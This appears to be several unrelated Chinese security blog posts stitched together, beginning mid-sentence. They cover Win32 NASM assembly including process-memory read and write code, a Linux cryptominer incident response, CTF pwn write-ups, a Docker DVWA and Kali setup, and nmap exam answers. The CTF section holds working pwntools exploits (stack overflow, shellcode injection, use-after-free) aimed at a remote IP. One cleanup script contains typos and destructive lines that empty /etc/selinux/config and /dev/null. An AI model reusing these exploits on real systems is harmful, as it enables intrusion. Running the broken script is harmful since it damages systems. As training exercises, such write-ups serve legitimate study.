loop_start ; 跳转回循环起始点整型数组 - Arraysection .data array dd 1, 2, 3, 4, 5, 10 ; 整数数组 len equ ($ - array) / 4 ; 数组长度 section .text global _main extern _printf _main: xor esi, esi ; 将数组索引初始化为 0 loop: cmp esi, len ; 检查是否到达数组末尾 jge end_loop mov eax, [array + esi * 4] ; 获取数组元素的值 push eax ; 将元素值推入堆栈 push format ; 将格式化字符串推入堆栈 call _printf ; 调用 printf 函数来打印元素值 add esp, 8 ; 清理堆栈 inc esi ; 增加数组索引 jmp loop end_loop: ret ; 返回函数 section .data format db "%d ", 0 ; 格式化字符串，用于打印整数switch 语句extern _printf ; 引入 printf 函数 section .data value db 2 ; 定义 value 变量，初始值为 2 msg1 db "1", 0 ; 定义三个输出信息 msg2 db "2", 0 msg3 db "3", 0 section .text global _main _main: cmp byte [value], 1 je case_1 ; 比较 value 和 1 的值，如果相等，跳转到 case_1 标签处 cmp byte [value], 2 je case_2 ; 比较 value 和 2 的值，如果相等，跳转到 case_2 标签处 cmp byte [value], 3 ; 比较 value 和 3 的值，如果相等，跳转到 case_3 标签处 je case_3 ; 如果都不相等，跳转到 case_default 标签处 jmp case_default case_1: push msg1 ; 将 msg1 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_2: push msg2 ; 将 msg2 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_3: push msg3 ; 将 msg3 的地址压入栈中，并调用 printf 函数 call _printf add esp, 4 ; 回收栈空间 jmp end_switch ; 跳转到 end_switch 标签处 case_default: jmp end_switch ; 跳转到 end_switch 标签处 end_switch: mov eax, 0 ; 将返回值设为 0，保证程序正常退出 ret ; 返回上一级调用函数调用约定方法名采用这样的命名方式，就像 _GetStdHandle@4，是因为在 Win32 中，函数名称会经过编码（mangled 或 decorated）以符合特定的约定。这种约定是为了确保函数在编译后可以正确地对外提供和使用。Win32 使用的调用约定称为 __stdcall，它规定了函数在被调用时参数的传递方式、栈的清理方式等。根据 __stdcall 的规定，函数名前面会加上一个下划线（_），然后是函数名本身，后面紧跟着一个 at 符号（@），最后是参数列表中的字节数（以十进制表示）。Cdecl（C Declaration）参数从右向左入栈。调用者负责清理堆栈。支持可变参数。在多数 C 编译器和 Microsoft Windows、Linux 系统上广泛使用。Stdcall（Standard Call）参数从右向左入栈。被调用函数负责清理堆栈。常用于 Win32 API。Fastcall一部分参数通过寄存器传递，其余的参数从右向左入栈。被调用函数负责清理堆栈。具体实现可能因编译器和平台而异。HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId );函数参数是从右向左压入到堆栈的，那么第一个参数在汇编中就是 dwProcessId（进程id），以此类推压入完成进行调用。extern _OpenProcess@12 ; 设置调用API加@12，说明函数有3个参数都是 dword（4字节）。 section .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main _main: push dword 0 ; dwProcessId，进程 ID push dword 0 ; bInheritHandle，不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess，使用标准读取权限 call _OpenProcess@12 ; @12 这么写会自动清空堆栈参数，无需写清除参数代码。以上是加了 @12 参数自动从堆栈清除的过程，可以发现当执行完 call 时堆栈参数自动被清除。标准用户输入 - scanfsection .data prompt db "Please enter a string: ", 0 format db "%s", 0 input db 255 dup(0) ; 申请长度为 255 字节内存字符串数组，初始值都为 0; section .text global _main extern _printf, _scanf, _puts _main: push ebp mov ebp, esp push dword prompt call _printf ; 输出提示信息 add esp, 4 ; 接收用户输入 push dword input push dword format call _scanf add esp, 8 push dword input call _puts ; 显示输入的字符串 add esp, 4 end: mov esp, ebp pop ebp ret调用系统命令 - systemsection .data cmd db 'cmd /c dir', 0 ; 存储 cmd 执行命令 section .text global _main extern _system _main: push ebp mov ebp, esp push dword cmd ; 压入参数到堆栈 call _system ; 调用 system add esp, 4 ; 清除参数 end: mov esp, ebp pop ebp ret调用弹窗 - MessageBoxAsection .data caption db "Hello", 0 message db "Welcome to the MessageBox!", 0 section .text global _main extern _MessageBoxA@16 _main: push 0 ; 确定：0 消息：48 警告：64 push caption push message push 0 ; NULL (HWND) call _MessageBoxA@16 ; 调用MessageBox函数显示消息框nasm -f win32 demo.asm -o test.obj ld -m i386pe -o test.exe test.obj -luser32 -lkernel32 // -luser32 -lkernel32 导入动态链接库终止进程 - TerminateProcesssection .data PROCESS_ALL_ACCESS equ 0x1F0FF section .text global _main extern _OpenProcess@12, _TerminateProcess@8, _printf _main: push dword 21108 ; dwProcessId，进程 ID push dword 0 ; bInheritHandle，不继承句柄 push dword PROCESS_ALL_ACCESS ; dwDesiredAccess，使用标准读取权限 call _OpenProcess@12 mov ebx, eax ; 将句柄保存到 EBX 中 push ebx ; 将句柄值压入堆栈 push format_str ; 格式化字符串 call _printf ; 调用 printf 函数 add esp, 8 push 0 push ebx call _TerminateProcess@8 ; 调用 TerminateProcess 函数 xor ebx, ebx ; 清空 EBX 寄存器 ret section .data format_str db "Handle value: %d", 0 ; 使用 %d 格式输出整数伪代码指令 - import再次提到，对于编译后一个 Win32 函数的名称如何被修饰或装饰这个问题，在这个级别上了解似乎要求过高了。毕竟所有的 C 程序员都可以愉快地写出 "ExitProcess"，而不是 "_ExitProcess@4"。很赞同这个说法，有的时候 下划线（_）加艾特（@）的确不是很好，所以可以借助下伪指令，这样就可以直接导入 Windows api 函数了，不需要再修改名称。Alink链接器这个 Alink 链接器上一次修改还是在 1999 年，真的是上古链接器了，估计作者也不更新了不过好在还可以用。Alink 下载 伪指令这些语法，必须生成 obj 然后用 alink 链接生成才行，对于 gcc 和 ld 都是会报错的导致编译不成功，就像以下这样：简单调用 printfextern printf import printf msvcrt.dll section .data msg db "hey Actdream!", 0 section .text use32 ..start: push msg call [printf] add esp, 4 ret输出 Hello, World！extern ExitProcess ; 声明 ExitProcess 外部函数。 import ExitProcess kernel32.dll ; 引入 ExitProcess 函数在 kernel32.dll 动态链接库里。 extern GetStdHandle import GetStdHandle kernel32.dll extern WriteFile import WriteFile kernel32.dll segment .data use32 ; 定义 32 位数据段，用来存储程序中使用的数据。 Text db "Hello, World!",0 ; 在数据段里定义了一个以空字符结尾的字符串 "Hello, World!"。 segment .code use32 ; 定义一个 32 位代码段，在这里定义了程序的主要逻辑。 ..start: ; 定义一个程序入口点标签 push -11 ; 把参数 -11 压入栈中 call [GetStdHandle] ; 调用 GetStdHandle 函数，并将返回值存储在 EAX 寄存器里 mov ebx, eax ; 把句柄存储在 EBX 寄存器里 push dword 0 ; 压入参数 0 lea eax, [ebp-4] ; 指向文本字符串的指针存储在 EAX 寄存器里 push eax ; 把 EAX 寄存器中的指针地址压入栈中 push (message_end - message) ; 把字符串的长度压入栈里（不包括结尾的空字符） push message ; 把字符串的起始地址压入栈里 push ebx ; 获取到的标准输出句柄压入栈中 call [WriteFile] ; 最后调用 WriteFile 函数，把字符串写入到标准输出。 push dword 0 ; 压入参数 0 call [ExitProcess] ; 调用 ExitProcess 函数，来终止程序的运行 hlt ; 暂停 CPU 的运行 message: ; 定义消息字符串的起始标签 db 'Hello, World!', 10 ; 在数据段里中定义了一个字符串 "Hello, World!"。 message_end: ; 定义消息字符串的结束标签/* ------ 参数说明 -fobj 指定输出格式为 obj 目标文件格式 -subsys console 指定生成的是控制台可执行文件 -oPE 指定输出文件格式 PE 可执行文件 ------ 编译命令 nasm -fobj main.asm alink -subsys console -oPE main.obj */调用弹窗 - MessageboxA[BITS 32] ; 声明代码为32位模式 extern ExitProcess import ExitProcess kernel32.dll ; 导入ExitProcess函数 extern MessageBoxA import MessageBoxA user32.dll ; 导入MessageBoxA函数 segment .data use32 Caption db 'From Assembly',0 ; 定义标题字符串 Text db "Hello, World",0 ; 定义消息字符串 segment .code use32 ..start: push dword 0 ; 参数0（消息框类型）压入栈中 push dword Caption ; 标题字符串的地址压入栈中 push dword Text ; 消息字符串的地址压入栈中 push dword 0 ; 参数0（父窗口句柄）压入栈中 call [MessageBoxA] ; 调用MessageBoxA函数显示消息框 push dword 0 ; 参数0（退出代码）压入栈中 call [ExitProcess] ; 调用ExitProcess函数终止程序的运行读进程内存数据BOOL WINAPI ReadProcessMemory( _In_ HANDLE hProcess, _In_ LPCVOID lpBaseAddress, _Out_ LPVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesRead );读内存要用到 ReadProcessMemory 系统提供的API函数。编译后只有一个 start 入口直接就是我们写的代码，很干净的一个程序只有 2.5 kb 大小。extern OpenProcess import OpenProcess kernel32.dll extern ReadProcessMemory import ReadProcessMemory kernel32.dll extern printf import printf msvcrt.dll extern CloseHandle import CloseHandle kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 128 lpNumberOfBytesRead dd 0 readSuccess db 'Read bytes: %d', 0 section .bss buffer resb 128 hProcess resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] ; 打开进程句柄 mov [hProcess], eax lea eax, [lpNumberOfBytesRead] push eax push dword [nSize] lea eax, [buffer] push eax push dword [lpBaseAddress] push dword [hProcess] call [ReadProcessMemory] ; 读内存数据 push dword [buffer] push readSuccess call [printf] ; 输出数据 add esp, 8 push dword [hProcess] call [CloseHandle] ; 关闭句柄 ret写进程内存数据BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );extern OpenProcess import OpenProcess kernel32.dll extern WriteProcessMemory import WriteProcessMemory kernel32.dll extern CloseHandle import CloseHandle kernel32.dll extern ExitProcess import ExitProcess kernel32.dll %define PROCESS_ALL_ACCESS 0x1F0FFF section .data processId dd 27676 desiredAccess dd PROCESS_ALL_ACCESS inheritHandle dd 0 lpBaseAddress dd 0x4a4610 nSize dd 4 writeValue dd 10 section .bss hProcess resd 1 bytesWritten resd 1 section .text use32 ..start: push dword [processId] push dword [inheritHandle] push dword [desiredAccess] call [OpenProcess] mov [hProcess], eax push 0 push dword [nSize] lea eax, [writeValue] push eax push dword [lpBaseAddress] push dword [hProcess] call [WriteProcessMemory] push dword [hProcess] call [CloseHandle] retGolink链接器Goasm 与 GoLink，都是由 Jeremy Gordon 开发，是用来与 GoAsm 配合使用的链接器。主要特点：轻量级高效：专为快速和高效的链接过程设计。兼容性：它可以链接其他汇编器（比如 NASM 或 FASM）还有某些 C/C++ 编译器生成的对象文件。格式的支持：GoLink 对 Windows PE 格式有良好的支持。用 NASM 原生语法，导入动态链接库函数不需要以下划线 _ 开头，比如以下：这里插一嘴：我推荐使用这个链接器，方便且轻巧。官网地址 | Golink 下载extern printf section .data msg db 'Hello, World!', 0 section .text global main main: push msg call printf add esp, 4 ret/* ------ 参数说明 /entry 指定入口函数 /console 指定为控制台程序 ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj msvcrt.dll /console */简单的窗口程序{collapse}{collapse-item label="NASM汇编代码" close}extern printf extern ExitProcess extern RegisterClassExA extern CreateWindowExA extern MessageBoxA extern GetModuleHandleA extern PeekMessageA extern TranslateMessage extern DispatchMessageA extern PostQuitMessage extern DefWindowProcA extern ShowWindow extern UpdateWindow extern GetStockObject extern BeginPaint extern EndPaint extern Rectangle extern Ellipse extern MoveToEx extern LineTo extern DrawTextA extern SetBkMode extern SetTextColor extern CreateSolidBrush extern CreatePen extern SelectObject extern DeleteObject extern LoadIconA extern LoadCursorA %define WS_OVERLAPPED 0x00000000 %define WS_POPUP 0x80000000 %define WS_CHILD 0x40000000 %define WS_MINIMIZE 0x20000000 %define WS_VISIBLE 0x10000000 %define WS_DISABLED 0x08000000 %define WS_CLIPSIBLINGS 0x04000000 %define WS_CLIPCHILDREN 0x02000000 %define WS_MAXIMIZE 0x01000000 %define WS_CAPTION 0x00C00000 %define WS_BORDER 0x00800000 %define WS_DLGFRAME 0x00400000 %define WS_VSCROLL 0x00200000 %define WS_HSCROLL 0x00100000 %define WS_SYSMENU 0x00080000 %define WS_THICKFRAME 0x00040000 %define WS_GROUP 0x00020000 %define WS_TABSTOP 0x00010000 %define WS_MINIMIZEBOX 0x00020000 %define WS_MAXIMIZEBOX 0x00010000 %define WS_TILED WS_OVERLAPPED %define WS_ICONIC WS_MINIMIZE %define WS_SIZEBOX WS_THICKFRAME %define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW %define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED | \ WS_CAPTION | \ WS_SYSMENU | \ WS_THICKFRAME | \ WS_MINIMIZEBOX | \ WS_MAXIMIZEBOX) %define PM_REMOVE 1h %define WM_QUIT 0x0012 %define WM_PAINT 0x000F %define WM_CLOSE 0x0010 %define CS_VREDRAW 0x0001 %define CS_HREDRAW 0x0002 %define CS_DBLCLKS 0x0008 %define CS_OWNDC 0x0020 %define CS_CLASSDC 0x0040 %define CS_PARENTDC 0x0080 %define CS_NOCLOSE 0x0200 %define CS_SAVEBITS 0x0800 %define CS_BYTEALIGNCLIENT 0x1000 %define CS_BYTEALIGNWINDOW 0x2000 %define CS_GLOBALCLASS 0x4000 %define IDI_APPLICATION 32512 %define IDC_ARROW 32512 section .text global START START: push 0 call GetModuleHandleA mov dword [Instance], eax mov dword[OurWindowclass], 48 mov dword[OurWindowclass+4], CS_OWNDC|CS_HREDRAW|CS_VREDRAW mov dword[OurWindowclass+8], WindowProc mov dword[OurWindowclass+12], 0 mov dword[OurWindowclass+16], 0 mov eax, dword[Instance] mov dword[OurWindowclass+20], eax push IDI_APPLICATION push 0 call LoadIconA mov dword[OurWindowclass+24], eax push IDI_APPLICATION push 0 call LoadCursorA mov dword[OurWindowclass+28], eax mov dword[OurWindowclass+32], 5 mov dword[OurWindowclass+36], 0 mov dword[OurWindowclass+40], Windowclassname mov dword[OurWindowclass+44], 0 lea eax, [OurWindowclass] push eax call RegisterClassExA cmp eax, 0 jne Lcreate push 0 push Windowname push string_reg_failed push 0 call MessageBoxA jmp exit Lcreate: push 0 push dword[Instance] push 0 push 0 push 250 ; Height push 380 ; Width push 140 ; Top push 360 ; Left push WS_VISIBLE+WS_OVERLAPPEDWINDOW push Windowname push Windowclassname push 0 call CreateWindowExA mov dword[Windowhandle], eax push 1 push dword[Windowhandle] call ShowWindow push dword[Windowhandle] call UpdateWindow messloop: push PM_REMOVE push 0 push 0 push 0 push MessageBuffer call PeekMessageA cmp eax, 0 je nextloop cmp dword[MessageBuffer+4], WM_QUIT je exit push MessageBuffer call TranslateMessage push MessageBuffer call DispatchMessageA nextloop: jmp near messloop exit: push dword 0 call ExitProcess ret global WindowProc WindowProc: push ebp mov ebp, esp cmp dword[ebp+12], WM_CLOSE jne Ldefault push 0 call PostQuitMessage Ldefault: push dword[ebp+20] push dword[ebp+16] push dword[ebp+12] push dword[ebp+8] call DefWindowProcA mov esp, ebp pop ebp ret section .data Windowclassname db 'MyClass', 0 Windowname db 'My Window', 0 string_reg_failed db 'Failed to register main window', 0 Instance dd 0 Windowhandle dd 0 section .bss MessageBuffer resb 28 OurWindowclass resb 48{/collapse-item}{/collapse}/* ------ 编译命令 nasm -f win32 window.asm -o window.obj golink window.obj kernel32.dll user32.dll */隐藏DOS窗口/* ------ 参数说明 -subsystem windows 即可隐藏DOS窗口 ------ 编译命令 nasm -f win32 main.asm -o main.o ld main.o -o main.exe -lkernel32 -lmsvcrt -luser32 -subsystem windows */ 生成图标程序/* ------ 文件生成 创建文件 resource.rc 内容：IDI_ICON ICON "mu.ico" 内容写到里面 使用 windres 生成资源目标文件 打包资源命令：windres resource.rc resource.o ------ 编译命令 nasm -f win32 main.asm -o main.obj ld main.obj resource.o -o main.exe -lmsvcrt */添加UAC清单创建UAC清单文件：创建一个XML文件名为 nac.manifest 内容填写以下代码。<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly>创建资源文件：编写一个资源脚本文件名为： src.rc 用来引用清单文件，内容填写以下代码。#include "winuser.h" 1 RT_MANIFEST "nac.manifest" IDI_ICON ICON "00.ico"这里我添加了自定义图标在 src.rc 写了 IDI_ICON 当然不需要也可以去掉。/* ------ 文件生成 nasm -f win32 main.asm -o main.obj windres src.rc -O coff -o src.res ------ 编译命令 ld -o main.exe main.obj src.res -lkernel32 -luser32 -lmsvcrt */vmp加壳问题如果你尝试用 alink 进行链接生成程序，就会发现区段的命名方式，不以 . 开头，导致加壳的时候识别错误。而使用 ld、gcc、golink 进行连接就不会出现这种情况了，就能正常加壳了。调用第三方DLL这里我写了一个自定义的dll，里面就导出了一个 initGo 函数，功能是弹出一个弹窗。section .data dllName db "Bin32.dll", 0 functionName db "initGo", 0 section .text extern LoadLibraryA, GetProcAddress global main main: push dllName call LoadLibraryA mov ebx, eax ; DLL 句柄 push functionName push ebx call GetProcAddress mov esi, eax ; 函数指针 call esi ; 调用 initGo 函数 mov ebx, 0 ret/* ------ 编译命令 nasm -f win32 main.asm -o main.obj golink /entry main main.obj Bin32.dll Kernel32.dll /console */
简介初步处理，待更新...工具分享这里分享个几个应急响应工具， 这里我用 toybox ，来查找恶意程序，再分享一个排查工具 GScan。我把 toybox 这个工具上传到 /usr/bin 文件夹里，方便任意位置调用，它和 busybox 功能一样，那为什么不用 busybox？因为被恶意程序禁用掉了。检查项{collapse}{collapse-item label="排查内容" close}/etc/passwd /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /etc/anacrontab /var/spool/anacron/* /var/log/auth.log /var/log/syslog /var/log/messages /var/log/secure /var/log/audit/audit.log /var/log/boot.log /var/log/kern.log /var/log/httpd/ /var/log/mysql/ /var/log/dmesg /var/log/btmp /var/log/lastlog /var/log/wtmp /var/log/utmp{/collapse-item}{collapse-item label="排查命令" close}# 建议配合busybox或toybox来执行系统命令，避免文件被恶意程序劫持和替换。 top iftop ps -elf | grep <keyword> netstat -anop ss who -m awk -F: '($3==0)' /etc/passwd find / -name <keyword> cat ls{/collapse-item}{/collapse}查找异常tobybox top通过 toybox 定位到可疑进程占用大量CPU，重启后 gettexted 后缀会随机变化，它是挖矿的主程序。它有潜伏期现在是没挖矿状态，但后面跟着一堆可疑程序，通过计算哈希值提交给VT与微步，发现是有问题的。system.pubgettexted.psscn疑似多个命令文件被恶意程序给劫持，通过 ps、ls 发现并不能找到恶意程序，而用toybox来执行却能找到。review通过VT查找可以看到程序的可以行为，并编写了清除恶意程序的 bash 脚本。清除代码1#!/bin/bash processes=("gettexted.*" "postmaped.*" "matchpathcond.*" "postcated.*" "telinited.*" "devlinked.*") for process in "${processes[@]}"; do echo "$process" toybox pkill -f "$process" done # 清理文件 files=( "/etc/init.d/dns-udp4" "/etc/profile.d/gateway.sh" "/.mod" "/etc/.cfg" "/boot/system.pub" "/etc/profile.d/bash.cfg" "/lib/system.mark" "/usr/lib/libgdi.so.0.8.2" "/usr/sbin/netstat.cfg" "/etc/profile.d/bash.cfg.sh" ) cleanup_file() { local file="$1" toybox rm -rf "$file" toybox echo -n > "$file" toybox chmod 000 "$file" chattr +i "$file" } cleanup_files() { local files=("$@") for file in "${files[@]}"; do cleanup_file "$file" done } cleanup_files "${files[@]}" # 系统加固 toybox echo 32768 > /proc/sys/kernel/pid_max toybox echo 0 > /proc/sys/kernel/ns_last_pid toybox rm -rf /usr/bin/review toybox rm -rf /usr/bin/gettexted* toybox rm -rf /usr/bin/biosdecoded* toybox rm -rf /usr/bin/devlinked* toybox rm -rf /usr/bin/telinited* toybox rm -rf /usr/bin/postcated* toybox rm -rf /usr/bin/matchpathcond* toybox rm -rf /usr/bin/postmaped* toybox rm -rf /usr/bin/mldconfig systemctl enable kdump.service systemctl restart ssh清除代码2#!/bin/bash rm -rf /etc/init.d/dns-udp4 rm -rf /etc/profile.d/gateway.sh sed -i '/\/usr\/sbin\/netstat.cfe/d' /etc/rc.d/rc.local sed -i '/\*\/1 \* \* \* \* root \/\.mod/d' /etc/crontab sed -i '/\/lib\/system.mark/d' /etc/rc.d/init.d/network echo -n >/.mod echo -n > /etc/.cfg echo -n > /boot/system.pub echo -n > /etc/profile.d/bash.cfg echo -n > /lib/system.mark echo -n > /usr/lib/libedi.so.8.8.2 echo -n > /usr/sbin/netstat.cfg echo -n > /etc/profile.d/bash.cfg.sh echo -n > /etc/selinux/config echo -n > /dev/null rm -rf /etc/selinux/targeted/tmp/modules/100/ chmod 000 /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh chmod +i /.mod /etc/.cfg /bot/system.pub /etc/profile.d/bash.cfg /lib/system.mark /usr/lib/libgdi.so.0.8.2 /usr/sbin/metstat.cfg /etc/profile.d/bash.cfg.sh ###替换被篡改的文件 ./toybox-x86_64 cp -f ./agetty /usr/bin/agetty ./toybox-x86_64 cp -f ./tty /usr/bin/tty ./toybox-x86_64 cp -f ./ssh /usr/bin/ssh ./toybox-x86_64 cp -f ./scp /usr/bin/scp ./toybox-x86_64 cp -f ./umount /usr/bin/umount sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sshd sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/su sed -i '/auth[[:space:]]\+sufficient[[:space:]]\+pam_sftp\.so/d' /etc/pam.d/sudo if [ $? -eq 0 ]; then echo "命令执行成功。" else echo "命令执行失败。" fi待分析...
小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下，有哪些地方被保护了，这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码，用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了，先导入程序分析下。info functions // 查看函数表查看有哪些函数，发现有一个很敏感的函数 getshell 因为这道题跟小狗有关，这里我也加上了dog，这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧，让它先跑起来。next跑起来后就单步步过，按 n 键一直往下走，直到执行让我们输入的时候，这里我正常输入几个 a 然后回车，程序就会停下来。再查看堆栈，这里 esp 是栈顶，ebp是栈底，如何溢出呢？只要我们填充垃圾数据 a * 13 字节就能到函数返回，这个时候只要在溢出的返回点传入一个地址，那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b)，因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量，这里我生成了100字节的垃圾数据，进行输入填充。cyclic -l 0x65616161好了，现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数，init 和 play 。进入 init 可以发现只是做了初始化，没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48，而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数，它的 buf 正好是 .bss 段，我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8， 48（缓冲区大小）+ 4（覆盖 rbp）+ 4（覆盖返回地址）。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过，第一个函数 _read 写入 shellcode 到 .bss 段，然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出，然后就是 switch 选择，可利用的函数是 Are 函数。发现一个关键的地方，那就是 system('/bin/sh'),它被一个判断给包裹住了，仔细观察 a = malloc 申请了一个空间，通过 strcpy 把 flag 字符串复制到申请的地址 a 中，然后 free 又释放掉了 a，指针 a 并没有被置为NULL，而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5，就会执行 are 函数然后输入大小 0x68 十进制是 104，满足后再输入 Flag，就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(b'Choice!', b'5') io.sendafter(b'size :', b'104') io.sendafter(b'Content :', b'Flag') io.interactive()
简介Docker是一种技术，它可以让你把你的应用程序和它所依赖的其他软件打包到一个叫做镜像的文件中，镜像文件可以在任何操作系统上运行，包括Linux和Windows。通过使用Docker，它可以让你的应用程序放入一个容器中，这个容器与其他容器隔离开来，互相之间不会干扰，就像是一个小型的虚拟机一样（与虚拟机相比它很轻量），也意味着可以轻松地在不同的环境之间移植应用程序，不用担心兼容性问题。安装步骤更新软件源（可选）sudo apt-get update && sudo apt-get upgrade配置国内源（可选）# 进入目录 cd /etc/docker # 新建daemon.json文件 vi daemon.json # 将以下代码写入： { "registry-mirrors": ["https://registry.docker-cn.com"] } # 重新加载 Docker 配置文件 sudo systemctl daemon-reload # 重启 Docker 服务 sudo systemctl restart docker安装Dockersudo apt-get install docker.io启动Docker# 启动 Docker sudo systemctl start docker # 设置自启动 sudo systemctl enable docker查看服务状态service --status-all | grep docker查看版本docker --version搜索镜像docker search dvwa拉取镜像docker pull vulnerables/web-dvwa # 下载dvwa靶机镜像端口映射docker run --rm -it -p 80:2050 vulnerables/web-dvwa # --rm：此参数告诉Docker在容器退出时删除容器，这对于不需要长期存在的临时容器非常有用。 # -it：这两个参数启用交互模式并分配一个伪TTY，使用户能够与容器的终端进行交互。 # -p 80:2050：此参数将容器的端口80映射到主机的端口2050，当你在主机上访问http://127.0.0.1:2050，请求将转发到容器内运行的Web服务器。拉取 Kali 镜像# 拉取 Kali Docker 镜像 docker pull kalilinux/kali-rolling # 运行 Kali Docker 容器并进入 shell 界面 docker run -it kalilinux/kali-rolling /bin/bash基本命令# 列出可用的镜像 docker images# 列出当前运行服务 docker ps # 停止当前服务 docker stop 5cda5257260c # 删除一个镜像 docker rmi [image ID 或名称] # 暴力删除 docker rmi -f [image ID 或名称] # 根据容器ID杀掉容器 docker kill [ID]
简介这套题目没有对应的环境，但是命令是对的，那个位置和命令都是是正确的，答案就按照实际情况来写吧，我这里只是模拟环境做了一遍。任务一1.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sS）nmap -n -sS 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作显示结果中从下往上数第 4 行的服务器信息作为 Flag 提交;（答案：873）# 这道题的答案：按实际情况来，就是往下数第4个。 nmap -n -sS 192.168.20.1343.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描（使用工具 Nmap，使用参数 n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交;（答案：P0）nmap -P0 -n -sS 192.168.20.1344.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描（使用工具 Nmap，使用参数 n，使用必须要使用的参数），并将该操作显示结果中从下往上数第 10 行的“：”后的数字作为 Flag 提交；(答案：995)nmap -P0 -n -sS 192.168.20.1345.通过BT5对服务器场景Linux进行UDP扫描渗透测试只扫描53，111端口（使用工具Nmap，使用参数 n，使用必须要使用的参数），并将该操作显示结果中 111 端口的状态信息作为 Flag 提交;（答案：closed）nmap -sU -n -p 53, 111 192.168.20.1346.通过 BT5 对服务器场景 Linux 进行滑动窗口扫描渗透测试（使用工具 Nmap，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sW）nmap -sW -n 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sR）nmap -n -sR 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试（使用工具 Nmap，使用必须要使用的参数）,并将该操作显示结果中从下往上数第 7 行的服务信息作为 Flag 提交；（答案：http）nmap -n -sR 192.168.20.134总结参数说明-n禁止DNS反向解析-sSTCP扫描-sUUDP扫描-p指定端口-sWTCP端口扫描-sRRPC端口任务二1.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作使用命令中必须要使用的参数作为 Flag 提交；（答案：sF）nmap -n -sF 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap，使用参数 n，使用必须要使用的参数)，并将该操作显示结果中从下往上数第 7 行的端口信息作为 Flag 提交；（答案：80/tcp）# 端口没那么多，按实际情况来，往上数第7行就是了。 nmap -n -sF 192.168.20.1343.通过 BT5 对服务器场景 Linux 进行圣诞树（Xmas Tree）扫描（使用工具 Nmap，使用参数n，使用必须要使用的参数），并将该操作使用命令中必须要使用的参数作为 Flag 